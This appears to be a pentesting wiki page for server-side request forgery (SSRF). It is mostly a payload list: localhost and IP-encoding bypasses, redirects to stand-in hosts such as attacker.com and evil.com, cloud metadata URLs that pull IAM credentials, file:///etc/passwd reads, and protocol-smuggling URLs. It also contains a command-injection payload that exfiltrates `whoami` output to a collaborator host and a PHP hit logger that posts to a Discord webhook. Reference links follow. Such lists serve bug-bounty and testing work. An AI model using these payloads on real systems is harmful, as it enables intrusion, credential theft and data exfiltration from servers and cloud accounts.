SSRF

CWE-918: Server-Side Request Forgery (SSRF)

Local Host

All IPv4: 0
All IPv6: ::
All IPv4: 0.0.0.0
Localhost IPv6: ::1
All IPv4: 0000
All IPv4: (Leading zeros): 00000000
IPv4 mapped IPv6 address: 0:0:0:0:0:FFFF:7F00:0001
8-Bit Octal conversion: 0177.00.00.01
32-Bit Octal conversion: 017700000001
32-Bit Hex conversion: 0x7f000001

# Localhost
<http://127.0.0.1:80>
<http://127.0.0.1:443>
<http://127.0.0.1:22>
<http://127.1:80>
<http://127.000000000000000.1>
<http://0>
http:@0/ --> <http://localhost/>
<http://0.0.0.0:80>
<http://localhost:80>
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
<http://①②⑦.⓪.⓪.⓪>

# CDIR bypass
<http://127.127.127.127>
<http://127.0.1.3>
<http://127.0.0.0>

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
<http://2130706433/> = <http://127.0.0.1>
<http://3232235521/> = <http://192.168.0.1>
<http://3232235777/> = <http://192.168.1.1>

# Octal Bypass
<http://0177.0000.0000.0001>
<http://00000177.00000000.00000000.00000001>
<http://017700000001>

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
<http://0x7f000001/> = <http://127.0.0.1>
<http://0xc0a80014/> = <http://192.168.0.20>
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# <https://www.silisoftware.com/tools/ipconverter.php>

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
<http://0/>
<http://127.1>
<http://127.0.1>

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
<http://customer1.app.localhost.my.company.127.0.0.1.nip.io>
<http://bugbounty.dod.network> = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

various bypasses

127.0.0.1:80
127.0.0.1:443
127.0.0.1:22
127.1:80
0
0.0.0.0:80
localhost:80
[::]:80/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:80/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost
localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3.3.3.3/
127.1.1.1:80\\@127.2.2.2:80/
127.1.1.1:80\\@@127.2.2.2:80/
127.1.1.1:80:\\@@127.2.2.2:80/
127.1.1.1:80#\\@127.2.2.2:80/

Domain

https:attacker.com
https:/attacker.com
http:/\\/\\attacker.com
https:/\\attacker.com
//attacker.com
\\/\\/attacker.com/
/\\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
<http://169.254.1698.254\\@attacker.com>
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
<https://{domain}@attacker.com>
https://{domain}.attacker.com
<https://{domain}%6D@attacker.com>
<https://attacker.com/{domain}>
<https://attacker.com/?d={domain}>
<https://attacker.com#{domain}>
<https://attacker.com>@{domain}
<https://attacker.com#@{domain}>
<https://attacker.com>%23@{domain}
<https://attacker.com>%00{domain}
<https://attacker.com>%0A{domain}
<https://attacker.com?{domain}>
<https://attacker.com///{domain}>
<https://attacker.com>\\{domain}/
<https://attacker.com>;https://{domain}
<https://attacker.com>\\{domain}/
<https://attacker.com>\\.{domain}
<https://attacker.com/.{domain>}
<https://attacker.com>\\@@{domain}
<https://attacker.com>:\\@@{domain}
<https://attacker.com#\\@{domain}>
<https://attacker.com>\\anything@{domain}/
<https://www.victim.com>(\\u2044)some(\\u2044)path(\\u2044)(\\u0294)some=param(\\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
<http://1.1.1.1> &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

# Bypass via open redirect
<https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection>

Cloud Meta Data files

## AWS
# from <http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories>

<http://169.254.169.254/latest/user-data>
<http://169.254.169.254/latest/user-data/iam/security-credentials/>[ROLE NAME]
<http://169.254.169.254/latest/meta-data/iam/security-credentials/>[ROLE NAME]
<http://169.254.169.254/latest/meta-data/ami-id>
<http://169.254.169.254/latest/meta-data/reservation-id>
<http://169.254.169.254/latest/meta-data/hostname>
<http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key>
<http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key>

# AWS - Dirs 

<http://169.254.169.254/>
<http://169.254.169.254/latest/meta-data/>
<http://169.254.169.254/latest/meta-data/public-keys/>

## Google Cloud
#  <https://cloud.google.com/compute/docs/metadata>
#  - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

<http://169.254.169.254/computeMetadata/v1/>
<http://metadata.google.internal/computeMetadata/v1/>
<http://metadata/computeMetadata/v1/>
<http://metadata.google.internal/computeMetadata/v1/instance/hostname>
<http://metadata.google.internal/computeMetadata/v1/instance/id>
<http://metadata.google.internal/computeMetadata/v1/project/project-id>

# Google allows recursive pulls 
<http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true>

## Google
#  Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

<http://metadata.google.internal/computeMetadata/v1beta1/>

## Digital Ocean
# <https://developers.digitalocean.com/documentation/metadata/>

<http://169.254.169.254/metadata/v1.json>
<http://169.254.169.254/metadata/v1/> 
<http://169.254.169.254/metadata/v1/id>
<http://169.254.169.254/metadata/v1/user-data>
<http://169.254.169.254/metadata/v1/hostname>
<http://169.254.169.254/metadata/v1/region>
<http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address>

## Packetcloud

<https://metadata.packet.net/userdata>

## Azure
#  Limited, maybe more exist?
# <https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/>
<http://169.254.169.254/metadata/v1/maintenance>

## Update Apr 2017, Azure has more support; requires the header "Metadata: true"
# <https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service>
<http://169.254.169.254/metadata/instance?api-version=2017-04-02>
<http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text>

## OpenStack/RackSpace 
# (header required? unknown)
<http://169.254.169.254/openstack>

## HP Helion 
# (header required? unknown)
<http://169.254.169.254/2009-04-04/meta-data/> 

## Oracle Cloud
<http://192.0.0.192/latest/>
<http://192.0.0.192/latest/user-data/>
<http://192.0.0.192/latest/meta-data/>
<http://192.0.0.192/latest/attributes/>

## Alibaba
<http://100.100.100.200/latest/meta-data/>
<http://100.100.100.200/latest/meta-data/instance-id>
<http://100.100.100.200/latest/meta-data/image-id>

## Enclosed Alphanumeric
<http://⑯⑨>。②⑤④。⑯⑨｡②⑤④/
<http://⓪ⓧⓐ⑨>｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80/
Successfully bypassed a SSRF WAF by using a combination of IPV6 + Unicode. Payload for Metadata instances:
http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80
Check images for response difference between 169.254.169.254 and the above payload I shared

Protocols

file:///etc/passwd
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
ssrf.php?url=sftp://evil.com:11111/
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
# Gopher://
Fortunately, you can use Gopherus[<https://github.com/tarunkant/Gopherus>] to create payloads for several services. Additionally, remote-method-guesser[<https://github.com/qtc-de/remote-method-guesser>] can be used to create gopher payloads for Java RMI services

Other Test Cases

# SSRF via Referrer header
<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-referrer-header>
# SSRF via SNI data from certificate  --> <https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-sni-data-from-certificate>
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
# Wget File Upload 
<https://book.hacktricks.xyz/pentesting-web/file-upload#wget-file-upload-ssrf-trick>
# SSRF with Command Injection
url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
# PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here. <https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf>
# From SSRF to DoS
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
# SSRf PHP Functions

Make you own SSRF tool

Host this PHP code after editing discord webhook in your server to get notified whenever there is SSRF

<?php
date_default_timezone_set('Asia/Kolkata'); //Change this if you need to

$date = date('Y-m-d H:i:s');


$ip_address = $_SERVER['REMOTE_ADDR'];

$user_agent = $_SERVER['HTTP_USER_AGENT'];

$endpoint = $_SERVER['REQUEST_URI'];

$log_message = "**Seems like you have a HIT**\n```Date: $date\t\nIP: $ip_address\t\nUser-Agent: $user_agent\t\nPath: $endpoint```\n";

// echo $log_message;
echo "<body><h1>Hit Me Harder :) </h1></body>";


$webhook_url = "https://discord.com/api/webhooks/10589949/E9uS3k9MxnI5CiIfmtmXHfornTObgZ_xl"; // replace with your webhook URL
$message = array("content" => "$log_message"); // the message you want to send

$ch = curl_init($webhook_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($message));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

?>

SSRF Bypasses

On SSRF (Server Side Request Forgery) or Simple Stuff Rodolfo Found — Part IMedium

file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd?/
file:$(br)/et$(u)c%252Fpas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
file:///etc/passwd?/../passwd

Resources

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery https://highon.coffee/blog/ssrf-cheat-sheet/ URL Format Bypass - HackTricks SSRF vulnerabilities and where to find them - Detectify Labs

Youtube

https://www.youtube.com/watch?v=U0bPPw6uPgY&t=1s
https://www.youtube.com/watch?v=324cZic6asE
https://www.youtube.com/watch?v=o-tL9ULF0KI
https://www.youtube.com/watch?v=324cZic6asE&t=751s
https://youtu.be/m4BxIf9PUx0
https://youtu.be/apzJiaQ6a3k
A New Era of SSRF by Orange Tsai

Hackerone Reports

https://hackerone.com/hacktivity?order_field=popular&filter=type%3Apublic&querystring=SSRF
https://hackerone.com/reports/737161
https://hackerone.com/reports/816848
https://hackerone.com/reports/398799
https://hackerone.com/reports/382048
https://hackerone.com/reports/406387
https://hackerone.com/reports/736867
https://hackerone.com/reports/517461
https://hackerone.com/reports/508459
https://hackerone.com/reports/738553
https://hackerone.com/reports/514224
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://hackerone.com/reports/341876
https://hackerone.com/reports/793704
https://hackerone.com/reports/386292
https://hackerone.com/reports/326040
https://hackerone.com/reports/310036
https://hackerone.com/reports/643622
https://hackerone.com/reports/885975
https://hackerone.com/reports/207477
https://hackerone.com/reports/514224

Blogs

https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978
https://medium.com/@kapilvermarbl/ssrf-server-side-request-forgery-5131ffd61c3c
https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326
https://medium.com/@chawdamrunal/what-is-server-side-request-forgery-ssrf-7cd0ead0d95f
https://medium.com/swlh/ssrf-in-the-wild-e2c598900434
https://medium.com/@briskinfosec/ssrf-server-side-request-forgery-ae44ec737cb8
https://medium.com/@GAYA3_R/vulnerability-server-side-request-forgery-ssrf-9fe5428184c1
https://medium.com/@gupta.bless/exploiting-ssrf-for-admin-access-31c30457cc44
https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-f62235a2c151
https://medium.com/@dlpadmavathi.us/ssrf-attack-real-example-a7279256abee
https://blog.securityinnovation.com/the-many-faces-of-ssrf
https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/
http://www.techpna.com/uptzh/blind-ssrf-medium.html
https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90
http://institutopaideia.com.br/journal/blind-ssrf-medium-cfa769
https://www.reddit.com/r/bugbounty/comments/cux2zs/ssrf_in_the_wild_the_startup_medium/
https://www.sonrn.com.br/blog/5a44cc-blind-ssrf-medium
https://ssrf-bypass-medium.thickkare.pw/
https://hackerone.com/reports/326040
https://www.zerocopter.com/vulnerabilities-price-list-printable
https://medium.com/swlh/intro-to-ssrf-beb35857771f
https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739
https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-2-a085ec4332c0
https://medium.com/bugbountywriteup/tagged/ssrf
https://medium.com/seconset/all-about-ssrf-524f41ab96df
https://blog.cobalt.io/from-ssrf-to-port-scanner-3e8ef5921fbf
https://portswigger.net/web-security/ssrf
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

Github Repos

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
https://github.com/jdonsec/AllThingsSSRF

PreviousSQL To RCE NextSSTI

Last updated 5 months ago

hashtagLocal Host

hashtagvarious bypasses

hashtagDomain

hashtagCloud Meta Data files

hashtagProtocols

hashtagOther Test Cases

hashtagMake you own SSRF toolarrow-up-right

hashtagSSRF Bypasses

hashtagResources

hashtagYoutube

hashtagHackerone Reports

hashtagBlogs

hashtagGithub Repos

Local Host

various bypasses

Domain

Cloud Meta Data files

Protocols

Other Test Cases

Make you own SSRF tool

SSRF Bypasses

Resources

Youtube

Hackerone Reports

Blogs

Github Repos